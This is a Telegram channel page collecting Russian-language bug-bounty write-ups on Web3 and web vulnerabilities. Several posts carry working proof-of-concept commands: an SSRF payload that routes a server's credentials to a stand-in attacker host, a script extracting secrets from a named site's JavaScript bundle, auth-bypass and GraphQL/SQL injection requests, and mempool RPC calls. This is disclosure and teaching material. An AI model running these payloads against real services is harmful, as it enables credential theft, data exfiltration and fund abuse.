tgindex
Пингискок

Пингискок

Статистика
@rmrf_0русский

Здесь про баги, уязвимости и security-ресерч. Web2, Web3, Bug Bounty https://rmrf.tips https://x.com/pingiskok

Последний пост
1 мая
Последнее чтение
18:11
Постов за неделю
0
Всего постов
20
Тип
открытый
Язык
русский
В каталоге с
12 авг.
Подписчики
617
−1 за 4 дн.
Сутки
0
0,00%
Неделя
 
Месяц
 
Просмотров на пост
992
19 постов
Вовлечённость
160,8%
к подписчикам
Постов в день
0,0
всего 20
Упоминаний
2
каналов
Охват размещения
оценка
1/24сутки в ленте
1/48двое суток
1/72трое суток

Оценка по просмотрам недавних постов: пост набирает почти всё за первые сутки.

Посты

  • 1 мая906291

    Белый хакер: “может, всё-таки responsibly disclose?” Google: давай! memory corruption - 500$, controlled write - 5к$. И мало просто найти баг, так PoC еще должен лечь правильными файлами, без harness/shell scripts/CDP, с идеальной репрой на их стороне. Индустрия сама выдаёт сомневающимся вайтхэтам билет в “enjoy cybercrime”. Естественно вслед за гуглом подтянутся и другие компании. И только на стендофе и бизоне все останется без изменений)) Тык

  • 13 апр.1 2591313

    DeFi-протоколы не взламывают. Они просто не закрыты. Омар рассказал кейс про то как их AI-агент задетектил эксплойт DeFi-протокола в реальном времени. Пока алерт горел, фаундер протокола 30-60 минут пытался разбудить своего CTO. За это время деньги были почти полностью украдены. Масштаб в целом таков: - Wormhole не проверяли подписи валидаторов и $326M ушли в один вызов - В Ronin Bridge взлом заметили только через 6 дней, $624M - В Nomad Bridge после первого эксплойта сбежались случайные люди и разобрали остатки как мародёры, $190M Получается что деньги не крадут, а просто подбирают и те, кто должен реагировать, утрированно ищут ключи от гаража, пока дом горит. В классическом инфосеке (в бест практис), есть хотя бы план реагирования. А в DeFi ты управляешь сотнями миллионов, и твой план реагирования заключается в том чтобы позвонить Васе. Который спит. Большинство протоколов по уровню защиты просто стартап из гаража, которому случайно доверили банковское хранилище. Я писал об этом буквальнго каждый пост пока не занялся JWT статьями. Оффчейн компоненты защищены хуже, чем SaaS-квиз-платформа с дырявой авторизацией. И когда кто-то (Decurity) пытается это автоматизировать, в комментариях вместо "наконец-то" первым делом спрашивают "а вас не посадят?" Вопрос то правильный, но стоит сначала задать другой. А почему мы вообще в ситуации, где нужны спасатели вот такого рода? Где адекватный инцидент-респонс? Да, в классике тоже далеко не идеально - но хотя бы стандарт существует. В DeFi пока нет даже планки.

  • 8 апр.1 2951716

    Claude Mythos.. .. еще не выпущен, но опубликовали исследование про него: https://red.anthropic.com/2026/mythos-preview/ Я ещё сам не дочитал, но вот несколько мыслей по тому, что успел прочесть. Антропики говорят, что целенаправленно не обучали модель что-то ломать и это просто вылезло само потому что модель стала умнее по всем направлениям. И вот это, кажется, загоняет их в угол. Нельзя выпилить эти навыки, не сломав всё остальное. Они боятся дать такую модель массам прямо сейчас, но и держать её вечно за забором не выйдет. Я не до конца понимаю, почему они не зацензурируют её как OpenAI, но и не хотел бы, чтобы так произошло. Я думаю что, нормальным путем было бы ввести какой-то kyc или другую верификацию именно пользователей использующих модель для тестирования и поиска уязвимостей. 100% у антропиков есть список таких товарищей. Еще становится страшновато от уровня автономности. Человек пишет "найди уязвимость", идёт спать, а утром видит готовый рабочий эксплойт с рутом на FreeBSD. Да, это работает в изолированной среде, но когда параллельно читаешь их же исследование про то, что у Claude формируются функциональные аналоги эмоций, то задумываешься насколько эта изоляция для него вообще преграда.. Петр Уваров был очень разочарован нерабочими нейро-репортами, но думаю, если Mythos предадут широкой массе - он превратится в кота на своей аве) P.S. частично зря быканул. Они пишут "Security professionals whose legitimate work is affected by these safeguards will be able to apply to an upcoming Cyber Verification Program". Посмотрим насколько это будет работать и не заабузят ли эту верификацию товарищи из предыдущего поста.

  • 6 апр.1 0712922

    Как КНДР полгода играла в квант-фонд и вынесла $285M из Drift Drift - крупнейший перпетуальный DEX на Solana. 1 апреля 2026 протокол потерял ~$285M. Не из-за бага в смарт-контракте. Осень 2025. На конференции к команде Drift подходят ребята из "квантового трейдингового фонда". Технически грамотные, проверяемые биографии. Встречи вживую в нескольких странах, переписка в Telegram, рабочие сессии. В декабре-январе вносят $1M+ в Ecosystem Vault. Полгода совместной работы. Уже не чужие. На самом деле UNC4736 (AppleJeus/Citrine Sleet) - группировка КНДР, взломавшая Radiant Capital в 2024. Живые контакты - не сами северокорейцы, а посредники с сконструированными личностями. Компрометация Два вектора: вредоносный репозиторий (якобы фронтенд для волта), эксплуатирующий уязвимость VSCode/Cursor - открытие проекта в редакторе выполняло произвольный код без предупреждений. Cursor по умолчанию отключает Workspace Trust, .vscode/tasks.json срабатывает при открытии проекта (Владимир рассказывал о подобном классе баг в подкасте тут). Второй вектор - фейковый кошелек через Apple TestFlight. Цель - приватные ключи подписантов мультисига. Подготовка on-chain 11 марта: 10 ETH из Tornado Cash, деплой фиктивного CarbonVote Token - 750M юнитов. Деплой в 09:30 по Пхеньяну. 23 марта: четыре durable nonce аккаунта. Два привязаны к членам Security Council Drift, два к атакующему. Durable nonces - фича Solana: подписал транзакцию сегодня, выполнил через неделю. Обычные протухают за минуты. Отозвать нельзя, если не сдвинуть nonce вручную. 27 марта: Drift мигрирует Security Council на 2-из-5 с нулевым таймлоком. Миграция инвалидирует старые подписи, но к 30 марта атакующие повторно получают две подписи обманом - те и так обрабатывают больше запросов чем обычно. Транзакции выглядели рутинно, но содержали передачу админ-прав. Момент атаки 1 апреля, 16:05 UTC. Две предподписанные транзакции, разница 4 слота: AdvanceNonceAccount -> proposalApprove -> vaultTransactionExecute -> UpdateAdmin Контроль над протоколом. Создание рынка фейкового токена с заранее подготовленным Switchboard-оракулом, отключение circuit breakers, депозит как залога. Основные волты выведены за 10 секунд: 16:06:09 - 16:06:19. Все 31 транзакция за ~12 минут. Итого: ~$285M USDC, JLP, SOL, cbBTC, wETH, WBTC, JTO и да - FARTCOIN. Бриджнуто на Ethereum через Circle CCTP за часы. DRIFT упал на 40%+. Почему это работало Смарт-контракты в порядке. Мультисиг работал как задумано - две подписи из пяти, выполнено. Нулевой таймлок убрал окно обнаружения. Durable nonces убрали срок годности подписей. Полгода соц. инженерии убрали подозрения. Каждый элемент - норма. Вместе - $285M. 18-й инцидент КНДР с начала 2026. Крупнейший DeFi-взлом года. Крупнейший эксплойт нативного Solana DeFi в истории. Самый дорогой нетворкинг в истории крипты. TRM Labs | BlockSec | CoinDesk

  • 3 апр.1 0034327

    Мое лицо когда закрыл серию статей (думайте, какое именно лицо мое) Закрыл, да не полностью. 15 и 16 частей нет. Не знаю будут ли. Подробнее написал в 17-й. Захардкоженные секреты, альтернативы JWT, RFC 8725 и постквантовая криптография: 17. Hardcoded secrets - CVE-2025-20188 (CVSS 10.0), 17% JWT CVE за 2024-2026, где искать секреты 18. Что вместо JWT - PASETO, Macaroons, opaque tokens, server-side sessions 19. RFC 8725 - чеклист из 15 правил, который никто не читает 20. Постквантовый JWT - ML-DSA подписи по 2.4 KB, SD-JWT, Harvest Now Decrypt Later Это финал серии - от разбора токена побайтово до постквантовой криптографии. Скоро буду выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝 Если у вас есть идеи или пожелания о чем можно написать в таком же формате и вы хотели бы увидеть разбор - пишите в чат: @rmrf_0_CHAT Предыдущие части постом выше, или тут: rmrf.tips P.S. все боятся ИИ, но я думаю что рано боимся. Впереди постквантовость (в коллаборации с ИИ, кстати)

  • 28 мар.1 8933782

    Продолжение серии про JWT - шесть новых статей Криптография, шифрование, библиотеки, OAuth/OIDC, XSS и продвинутые криптоатаки: 9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика 10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS 11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену 12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass 13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies 14. Продвинутые криптоатаки — lattice, side-channels, fault injection Осталось всего 6 статьей (на скриншоте выше) и будем выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝 Предыдущие части постом выше, или тут: rmrf.tips

  • 21 мар.3 55424175

    Опубликовал новые статьи из серии статей про JWT Не пугайтесь графика на скриншоте - он просто для наглядности того почему именно работает уязвимость От структуры токена до атак с PoC: 1. Почему JWT сломан by design 2. Анатомия токена 3. alg:none - одна строчка и ты admin 4. Algorithm Confusion - публичный ключ как пароль 5. kid injection - SQLi через заголовок токена 6. jku/x5u/jwk/x5c - весь заголовок это attack surface 7. Брутфорс секретов на GPU - 150 млн HS256/сек 8. Psychic Signatures - нулевая подпись на Java 15-18 rmrf.tips

  • 20 мар.2 1231245

    Так, начинаю серию статей про JWT Это будет настолько глубоко, насколько хватило моих мозгов разобраться. Каждая статья чуть больше чем пост в телеграме, поэтому выходить они будут на отдельном ресурсе. В канал тоже буду постить что-то интересное. Первые статьи уже тут: rmrf.tips

  • Обфускация на стероидах: Как base64+reverse в JS бандле "защищает" 24 секрета DeFi протокола Пишу пока что про Web3, потому что там сейчас примерно так же как в Web2 было в 2015-м. Web3-проекты усвоили (не все), что хранить API-ключи в REACT_APP_ переменных плохо - их видно в бандле через Ctrl+F. Решение? Обфускация. Но не нормальная серверная архитектура, а base64(reverse(key)) прямо в клиентском JavaScript. Security through obscurity, 2026 год. Как это устроено Открываем сайт одного крупного DeFi-протокола, тянем бандл на 3.7 мегабайта. Внутри находим любопытную структуру - таблицу KQ и функцию vi(): var KQ = { "QVJUQV9TRVJWRVJEX1BQUF9UQ0FFUg==": "bXlfZmFrZV9zZWNyZXRfdmFsdWVfMTIz", "SVFLX1JFVFNBTUZBWV9RUEFUX0RDQUVS": "YW5vdGhlcl9mYWtlX3NlY3JldF92YWx1ZQ==", // ... ещё 22 пары } vi = e => { const t = btoa(e.split("").reverse().join("")), a = KQ[t] || ""; return a ? atob(a).split("").reverse().join("") : "" } Алгоритм: берём имя переменной REACT_APP_CLIENT_TOTP_SECRET, переворачиваем строку задом наперёд, кодируем в base64 - получаем ключ для поиска в таблице. Значение декодируем обратно: base64 decode + reverse. Всё. Весь алгоритм восстанавливается за 30 секунд чтения кода. Деобфускация curl -s "https://www.vrother.xyz/assets/index-Rn7kQ-Wp.js" -o bundle.js python3 -c " import re, base64 with open('bundle.js') as f: content = f.read() match = re.search(r'var KQ=\{([^}]+)\}', content) pairs = re.findall(r'\"([A-Za-z0-9+/=]+)\":\"([A-Za-z0-9+/=]*)\"', match.group(1)) for k, v in pairs: dk = base64.b64decode(k).decode()[::-1] dv = base64.b64decode(v).decode()[::-1] if v else '' print(f'{dk} = {dv}') " Три секунды - и 24 секрета на ладони. Что внутри таблицы Тут начинается самое интересное. Это не просто Infura ключи для чтения блоков. Это ключи, которые позволяют ТРАТИТЬ ДЕНЬГИ протокола: REACT_APP_CLIENT_TOTP_SECRET = ULTRA_PRIVATE_MASTER_SECRET_ACCESS_KEY REACT_APP_PAYMASTER_KEY_10 = mPxqzL4kR.7a3b1092-f4e5-4812-b037-93c5e7aa1847 (Optimism) REACT_APP_PAYMASTER_KEY_42161 = N5wr-7Yv3.c1f88b24-3d90-4721-e158-84b6f9bb2356 (Arbitrum) REACT_APP_PAYMASTER_KEY_8453 = J9tDvBnWq.8e6c3f51-7a12-4390-d274-51c8e0cc4719 (Base) REACT_APP_PAYMASTER_KEY_1 = XHnkPwMsT.4d71a609-b835-4056-f391-62d7a1ee5803 (Mainnet) REACT_APP_UNIVERSAL_ACC = ghp_Xt7mNp2QsRvKdYwZ3j8HgBcL4eA5f (GitHub PAT) REACT_APP_BICONOMY_BUNDLER = fR312Kkjm.WQ5ynpBx-zLmr-89sf-jN2K-47TRq85n29Dp REACT_APP_MEE_KEY = mee_7Yp4NR9bsKj38X2muqEvFzD6HT REACT_APP_ONRAMPER_KEY = pk_prod_08KXZRB4NM2WP35V7THQDCJ9YF REACT_APP_INFURA_PROJECT_ID = 3a82f1c045d7b92e6f510c84ab37d91f ... и ещё 14 ключей Что такое Paymaster и почему это больно EIP-4337 Account Abstraction позволяет делать gasless транзакции - за газ платит не пользователь, а Paymaster. Протокол депозитит ETH на контракт Paymaster, и когда пользователь совершает действие, Paymaster покрывает газ из этого депозита. Управление - через API-ключи Biconomy. Вот эти ключи лежат в клиентском JS. Атакующий берёт Paymaster ключ для Optimism, формирует UserOperation через Biconomy SDK и спонсирует газ для ЛЮБЫХ своих транзакций за счёт протокола. Свопы, минты, переводы - всё оплачивает протокол из своего Paymaster депозита. По сути это кредитная карта протокола, номер которой опубликован в открытом доступе. Я проверил - Infura ключ активен прямо сейчас. Paymaster ключи структурно валидны (формат Biconomy prefix.uuid). GitHub PAT только отозван (401). Но остальные 23 секрета живы. Итого: протокол сам публикует ключи от своей инфраструктуры, сам подписывает чужие транзакции и сам за них платит. Самостоятельный самодостаточный бизнес. Целевой протокол - крупный DeFi-проект с паримутуальными ставками, TVL и ежедневным объёмом в миллионах долларов. Развёрнут на Optimism, Arbitrum, Base и Mainnet. И ключи от газовой инфраструктуры на всех четырёх сетях лежат в одном JS-файле за одним curl.

  • 2 мар.622117

    MEV за чужой счет: Как публичные RPC-ключи превращают юзеров в сэндвичи Web3-проекты любят хардкодить RPC-ключи в фронтенд. Разработчики думают: «Мы просто читаем балансы из блокчейна, кому нужен наш ключ?». На деле они дарят MEV-ботам и снайперам идеальный, а главное - бесплатный инструмент для фронтраннинга своих же пользователей. Вектор атаки: Мемпул как на ладони Открываем рандомный DEX. В минифицированном JS достаем публичный ключ от премиум-ноды проекта. Делаем один curl запрос прямо к провайдеру: curl -s 'https://rpc.provider.com/v1?chainId=eip155:1&projectId=LEAKED_PROJECT_ID' \ -X POST -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","method":"txpool_content","params":[],"id":1}' В ответ мы получаем не просто статус, а весь txpool - «зал ожидания» блокчейна. Тысячи pending транзакций, которые юзеры уже подписали, но валидаторы еще не включили в блок. Доступ к этому тяжелому методу без rate-лимитов - это прямой канал данных для мониторинга рынка в реальном времени. Анатомия сэндвич-атаки (Sandwich & Frontrun) Имея на руках txpool_content с чужой премиум-ноды, атакующий (или скрипт) видит действия юзеров *до* их фактического исполнения. Дальше начинается стрижка: 1. Снайпинг: Бот парсит ответ ноды и декодирует calldata смарт-контрактов. Он ищет жирный свап. Например, кто-то хочет купить токен X на крупную сумму, что неминуемо сдвинет кривую цены в пуле ликвидности. 2. Frontrun (Первый кусок хлеба): Бот мгновенно формирует свою транзакцию на покупку этого же токена X. Чтобы обогнать жертву, он выставляет maxPriorityFeePerGas (чаевые валидатору) чуть выше. 3. Памп: Транзакция бота попадает в блок первой. Резервы пула меняются, цена токена летит вверх. 4. Мясцо (Жертва): Следом исполняется огромная транзакция обычного юзера. Из-за искусственного сдвига цены он покупает токен по завышенному курсу. Его спасает только slippage tolerance (допуск на проскальзывание), но бот заранее просчитывает математику пула и выжимает этот допуск до самого предела. Юзер толкает цену еще выше. 5. Backrun (Второй кусок хлеба): Бот тут же продает купленные токены обратно в пул *в том же самом блоке* сразу после жертвы, фиксируя безрисковую прибыль. Прибыль генерируется из воздуха просто за счет проскальзывания обычных юзеров. На Ethereum mainnet это работает напрямую через сборщиков блоков (Flashbots/Builders). На L2-сетях (Optimism, Arbitrum) секвенсоры работают по принципу FIFO (кто первый встал, того и тапки). И вот тут скорость премиум-RPC, за который платит сам проект, дает боту решающее тайминговое преимущество перед конкурентами. Импакт: Эксплойты за ваш счет Атакующий не только читает мемпул. На этом же ключе в 90% случаев открыт метод eth_sendRawTransaction. То есть эксплойты, фронтран и сэндвичи льются прямо через инфраструктуру атакуемого проекта. Защита по HTTP Origin обходится одним фейковым заголовком в запросе. Billing abuse: Проект сам оплачивает гигантские счета за премиум-методы (типа debug_traceBlockByNumber для трассировки опкодов), которыми его же юзеров технично бреют на бабки. Да, нужно чтобы боты высчитывали оптимальный газ и slippage жертвы для идеального сэндвича на уровне математики пулов (x * y = k). Но думаю это меньшая из проблем. Проект tier1 и является ведущим протоколом децентрализованной биржи на блокчейнах L2 экосистемы Ethereum. Протокол развёрнут на 12+ блокчейн-сетях, совокупный объём заблокированных средств (TVL) превышает $600 млн. Ежедневный объём торгов составляет десятки миллионов долларов. Протокол неоднократно проходил аудиты безопасности смарт-контрактов у ведущих аудиторских компаний отрасли и сидит на багбаунти в Immunefi. Является системообразующим элементом ликвидности для двух крупнейших L2-сетей. Это одна из самых частых баг встречающихся при тестировании Web3 проектов. Вот вам и крипта)

  • GraphQL Injection через строковую интерполяцию Проект - bridge для перевода токенов между L1 и L2. Фронтенд обращается к The Graph для чтения данных о трансферах. Исходный код нашли через source maps, оставленные в production (2159 файлов). Что в коде Файл queries.ts содержал функции с прямой подстановкой пользовательского ввода в тело GraphQL-запроса через template literals: const query = ` { transferSents( where: { recipient: "${recipient}", transactionHash: "${txHash}", } ) { id transferId amount ... } } ` Точно как SQL Injection, только для GraphQL. Как работает Нормальный подход - переменные передаются отдельно от запроса, и парсер никогда не интерпретирует их как синтаксис. А тут строка склеивается с данными напрямую. Если атакующий подставит вместо адреса: "} ) { id } transferSents(where: { amount_gt: "0 Он закрывает оригинальный блок where и вставляет свой запрос с другими условиями. Что можно извлечь Subgraph содержит данные обо всех трансферах всех пользователей: адреса, суммы, цепочки, хеши, статусы, fee, bonder. Без инъекции видишь только свои трансферы. С инъекцией - чужие. Почему .toLowerCase() не спасает Это нормализация адресов, не экранирование. Символы ", }, {, (, ) не затрагиваются. Три уязвимых функции fetchTransferSents - recipient, txHash fetchTransferFromL1Completeds - recipient, amount, deadline fetchWithdrawalBondedsByTransferId - transferId Запросы уходят из браузера напрямую (нет backend-прокси). Атакующий перехватывает запрос через DevTools/proxy и подменяет параметры. Или подставляет вредоносные значения через URL-параметры. Да, веб3 - это будущее, кричали несколько лет назад. Но тут еще веб 2 не защищен, а вы уже доверяете ему бабками управлять. Веб3 дырявая шляпа и самые интересные баги этого канала скорее всего будут оттуда.

  • CERTIK это конечно очень важно и нужно. А что с вебом делать то будем? Как ДОЛЖНА работать Web3 аутентификация Нормальный flow аутентификации через кошелёк: 1. Клиент серверу: "Хочу войти, мой адрес 0xАБВ" 2. Сервер клиенту: "Подпиши этот уникальный nonce: a7f3b2..." 3. Клиент подписывает nonce приватным ключом в MetaMask 4. Клиент серверу: "Вот подпись: 0x8e3f..." 5. Сервер проверяет подпись через ecrecover - совпадает ли она с адресом 0xАБВ 6. Только после проверки - выдаёт JWT Смысл в том, что приватный ключ есть только у владельца кошелька. Без подписи доказать владение адресом невозможно. Как это работает у исследуемого проекта 1. Клиент серверу: "Мой адрес 0xАБВ" 2. Сервер: "Ок, держи JWT" - всё, конец Шаги 2-5 просто отсутствуют. Сервер верит на слово. Более того, endpoint /api/auth/verify который по названию должен проверять подпись - принимает параметры signature и nonce, но полностью их игнорирует: # Фейковая подпись "FAKE" - принимается curl -sk -X POST 'https://example.com/api/auth/verify' \ -H 'Content-Type: application/json' \ -d '{"wallet_address":"0x.....","signature":"FAKE","nonce":"FAKE"}' # Ответ: 200 OK + валидный JWT Почему это критично Ethereum адрес - публичная информация. Любой адрес можно посмотреть на etherscan.io. Это как логин без пароля. Зная адрес кошелька пользователя, атакующий: 1. Отправляет один POST запрос с этим адресом 2. Получает JWT токен 3. С этим токеном читает /api/user - а там в ответе прилетают password_hash, two_fa_code, reset_token 4. Полный захват аккаунта Почему это работает (вероятная причина) Скорее всего, разработчики: - Написали auth endpoints как заглушки с планом "потом добавим проверку подписи" - Использовали catch-all route (/api/auth/[...slug]) в Next.js, который на любой POST с wallet_address создаёт/находит пользователя и выдаёт JWT - Функция ecrecover или verifyMessage либо не вызывается, либо её результат не проверяется перед выдачей токена - Все 8 auth endpoints проходят через один и тот же handler, который сразу делает jwt.sign({userId: user.id}) без проверки В клиентском JS видно, что фронтенд всё делает правильно - вызывает MetaMask, получает подпись, отправляет её. Но бэкенд эту подпись не проверяет. С учетом того что у проекта есть свой токен - становится не сложным поиск адресов всех холдеров/пользователей этого проекта.

  • SSRF бесполезная бага. Казалось бы... SSRF - утечка credentials через proxy-эндпоинт Уязвимый endpoint такой: POST https://explorer.example.com/api/proxy Что происходит? Blockchain explorer на Next.js проксирует запросы к внешнему API аналитики. На бэкенде формируется URL вида: https://node-lite.webapi.analytics.io{path} Параметр path берётся напрямую из JSON body без валидации. Символ @ в URL позволяет провернуть классический URL parsing confusion (userinfo@newhost): https://node-lite.webapi.analytics.io@ATTACKER.com/capture URL-парсер считает всё до @ логином, а ATTACKER.com реальным хостом. Что утекло Сервер при каждом проксируемом запросе автоматически прикрепляет заголовок: Authorization: Basic <base64_credentials> PoC curl -sk -X POST "https://explorer.example.com/api/proxy" \ -H "Content-Type: application/json" \ -d '{"path":"@<collaborator>/ssrf-capture","data":{}}'

  • А можно было отдать просто auth bypass и этим ограничиться...

  • 862K записей из "защищённой" блокчейн-платформы одним curl Web3-платформа децентрализованной идентификации. KYC-данные (паспорта, документы, верификация личности), кошельки, credentials. Кастомный движок на Go с SQL-подобным языком запросов, API через JSON-RPC. "Блокчейн, тут всё подписано" - поэтому багу никто не нашёл, или нашёл и долго "сидел" на ней. Вызов rpc.discover (стандарт OpenRPC - аналог Swagger для JSON-RPC) отдаёт полную схему API: 33 метода с параметрами и типами. Среди них user.query (произвольный SQL) и user.authenticated_query (SQL с аутентификацией). Всегда стоит проверять discovery-эндпоинты - rpc.discover, Swagger, GraphQL introspection - разработчики часто забывают закрыть их на проде, а это по сути полная карта всего API. Первая стена user.query на проде возвращает: "adhoc query not allowed". Прямой путь закрыт - но есть второй метод. Auth bypass user.authenticated_query принимает: - Challenge - одноразовый токен (получаем бесплатно через user.challenge, без каких-либо проверок) - auth_type - тип криптографической подписи - Statement - сам SQL-запрос к базе - sender - публичный ключ отправителя - signature - подпись запроса приватным ключом Выглядит серьёзно: challenge-response протокол, подпись secp256k1 - стандарт, который используют Bitcoin и Ethereum. Но из опыта, в Web3-проектах часто поддерживают несколько auth_type (eip712, secp256k1, ed25519, NEAR), а реально валидируют подпись только для одного-двух. Остальные - заглушки или недописанная логика. Пробую отправить заведомо невалидные данные: auth_type: "secp256k1" sender: любой pubkey (33 байта hex, префикс 02 или 03) signature: "deadbeef" - четыре произвольных байта вместо настоящей подписи Ответ: "user does not have privilege SELECT on namespace main" Это не "invalid signature". Сервер не сказал "подпись неверна" - он сказал "у тебя нет прав". Разница принципиальна: это ошибка авторизации (AuthZ - проверка прав), а не аутентификации (AuthN - проверка личности). Значит, подпись deadbeef принята как валидная и этап проверки личности пройден. Дальше - больше: пустая подпись и даже пустой auth_type тоже проходят. Verify() просто не вызывается - поле signature десериализуется и игнорируется. Аутентификация не функциональна ни для одного auth_type. Вероятная причина: метод задуман для внутренних вызовов между нодами, где подпись проверяется на уровне gateway, но оказался доступен снаружи напрямую. Поэтому если видишь "нет прав" вместо "неверная подпись" - AuthN скорее всего пройдена и осталось обойти AuthZ. Namespace bypass Итак, мы аутентифицированы, но нет прав на namespace main. Здесь нужно понимать специфику движка: Kwil DB использует язык Kuneiform, в котором есть концепция пространств имён (namespaces) - изолированные контексты с собственными правами доступа. Запрос можно выполнить в контексте конкретного namespace, указав его перед SQL: {idos} SELECT count(*) FROM main.users -- 151218 Сработало. Root cause - классическая ошибка TOCTOU (Time of Check / Time of Use), момент проверки прав и момент обращения к данным разнесены по логике: 1. Сервер проверяет: есть ли у namespace {idos} право на SELECT? - да 2. Сервер выполняет запрос и резолвит таблицу по полному имени main.users - из другого namespace 3. Повторной проверки прав на main уже не происходит Привилегия проверяется по контексту запроса, а таблица берётся по явному указанию - и между этими двумя этапами нет сквозной проверки. Перебрал {main}, {idos}, {default}, {test}, {admin}, {public}, {kwild} - из семи вариантов сработал один. {idos} - это namespace самого приложения, развёрнутого на блокчейне, и у него оказались права на чтение, которых не было у нас напрямую. Результат main.users -- 151218 main.wallets -- 198329 main.credentials -- 253450 main.access_grants -- 129455 main.shared_credentials -- 130313 Цепочка из двух багов: auth bypass (подпись не валидируется ни для одного auth_type) + namespace bypass (TOCTOU в проверке привилегий) = полное чтение продакшен-базы одним запросом.

  • P.S. Утилиты и ход мыслей Чем работал katana - краулинг с --js-crawl. Собрал все 10 JS-чанков и показал структуру бандлов. grep/jq - парсинг минифицированного JS. Искал https://, fetch(, baseURL, endpoint, apiKey. ## Почему сразу в JS SPA отдаёт 200 на любой путь - фаззинг директорий бесполезен. Серверных эндпоинтов не видно. Классическая разведка (краулинг, брутфорс путей) ничего не даёт. Но Web3-проект не может спрятать логику на клиенте - это архитектурное ограничение. Значит единственный путь — читать бандлы. Source maps попробовал первым делом - .js.map отдавали HTML (SPA catch-all). Пришлось вручную. Почему сразу к /wert Из 17 эндпоинтов большинство - информационные GET. Интересны те, которые что-то делают: принимают POST и меняют состояние. /wert сразу выделился, потому что принимает параметры платежа - возвращает криптографическую подпись - подпись идёт в платёжный шлюз. Первый вопрос: "а что он подпишет, если подменить адрес контракта?". Подписал всё без единой проверки. Что не сработало - Фаззинг путей - SPA отдаёт 200 на всё, бессмысленно - SQLi - MongoDB на бэкенде, нет точек ввода в SQL - XSS - формы отключены, комментарии закрыты, поиск HTML-энкодит - Source maps - все .js.map отдают SPA catch-all Получается что подтверждение того, что стандартные вектора закрыты, сужает фокус на логические баги - где и нашлась главная находка.

  • Как 5.6 МБ JavaScript раскрыли скрытый бэкенд и подпись произвольных платежей Аудит Web3-проекта с крипто-пресейлом. Фронтенд - React SPA за Cloudflare. Ни одного видимого API-эндпоинта. Казалось бы - нечего ломать. React SPA отдаёт один index.html на любой путь. WordPress-поддомены закрыты Cloudflare. REST API отключён. Регистрация отключена. Живых эндпоинтов - ноль. Но у Web3-проектов есть особенность: вся логика взаимодействия с блокчейном живёт на клиенте. Кошелёк подключается из браузера, адреса контрактов и RPC-вызовы формируются на фронте. Сервер не может это спрятать. Когда видишь пустую SPA-оболочку без единого API - это не тупик. Это приглашение читать бандлы. Vite нарезал код на 10 чанков. Source maps недоступны (все .js.map возвращают HTML фронтенда - SPA catch-all). Только ручной разбор минифицированного кода. app-[hash].js 434 KB - бизнес-логика, роуты, платежи main-[hash].js 576 KB - WalletConnect, UI wallet-libs-[hash] 3.5 MB - кошельки, провайдеры, цепочки crypto-libs-[hash] 637 KB - криптобиблиотеки Ищу строки: https://, baseURL, fetch(, axios, endpoint. В чанке бизнес-логики нахожу базовый URL, который нигде не фигурировал - ни в DNS, ни в документации, ни в HTML. Бэкенд жил на полностью отдельном домене. Один GET на /health подтвердил: {"status":"ok","info":{"mongodb":{"status":"up"},"google":{"status":"up"}}} CORS настроен правильно (только домен фронтенда), но GET-эндпоинты не требуют аутентификации - прямые curl-запросы работают. Дальше - по всему JS-бандлу собираю пути, параметры, заголовки. Восстановил 17 эндпоинтов. Каждый проверил вручную - какие требуют авторизацию, какие нет, какие принимают пользовательский ввод и как его валидируют. Большинство GET-эндпоинтов оказались открыты: финансовая конфигурация пресейла, баланс любого кошелька по адресу (IDOR), статистика стейкинг-пулов, валидация промокодов (перебор). Неприятно, но не критично. Самый интересный - POST /wert. Wert - фиатный шлюз. Пользователь платит картой, Wert выполняет on-chain транзакцию. Бэкенд подписывает параметры платежа, и эта подпись говорит Wert: «транзакция легитимна». Эндпоинт /wert принимает POST с параметрами и возвращает подписанные данные. Проверяю - что если подменить адрес смарт-контракта? # Отправляю произвольный: curl -X POST https://<backend>/wert \ -H "Content-Type: application/json" \ -d '{"sc_address":"0x0000000000000000000000000000000000000001", "sc_input_data":"0xdeadbeef", "commodity_amount":100}' Ответ: валидная подпись. Подменяю sc_address на произвольный контракт - подписано. Подменяю sc_input_data на произвольные calldata - подписано. Ставлю commodity_amount = -1 - подписано. Ставлю 0 - тоже подписано. Сервер подписывает всё. Нет валидации адреса, нет проверки calldata, нет ограничений на сумму. Если Wert доверяет подписи без собственной валидации - атакующий подменяет sc_address на свой контракт, получает подпись, инициирует платёж, и средства пользователя уходят не туда. Бонус: RPC-ключ с debug-доступом к 5 блокчейнам В том же бандле - API-ключ RPC-провайдера. Рабочий на 5 сетях (BSC, Ethereum, ETH Sepolia, Solana Mainnet, Solana Devnet) с premium-методами: # debug_traceBlockByNumber - трассировка ВСЕХ транзакций блока # (опкоды, стек, память, internal calls) curl -X POST "https://<rpc>/$KEY" \ -d '{"method":"debug_traceBlockByNumber","params":["latest",{}]}' # Получаю 200 OK # txpool_status - мемпул # {"pending":"0x2d","queued":"0x2ee"} Debug + archive - premium-тариф. Вектор для MEV/фронтраннинга + нагрузка на платный план проекта.

  • Получил файлы 133 компаний через квиз-платформу Типичный web3. После рекона вижу quiz.* с другим стеком и UI (сторонняя SaaS-платформа для квизов. httpx помогает сразу видеть что к чему). Регнулся даже без подтверждения почты - попал сразу в полный дашборд. В разделе контента нашёл встроенный файловый менеджер. В DevTools (перестал к херам пользоваться дегенератским бурпом, но и к caido привыкнуть не могу) вижу: GET /elfinder/connector?cmd=open&target=... elFinder. При виде elFinder должен подняться пульс - у него CVE-шки сыплются каждый год (path traversal, RCE, file delete). elFinder с параметром target: target=flsproject_clientname1_s3_cHJvamVjdHMvcHJvZC9jbGllbnRuYW1l Первое что бросается в глаза - конец строки. cHJvamVjdHMv... - выглядит как base64. Когда видишь непрозрачный идентификатор - всегда пробуй base64. В 80% случаев "хеши" в вебе это просто base64. Декодирую хвост: echo 'cHJvamVjdHMvcHJvZC9jbGllbnRuYW1l' | base64 -d → projects/prod/clientname Окей, это путь в файловой системе. Причём структурированный: projects/prod/clientname. Дальше мозг автоматом задаёт вопрос — 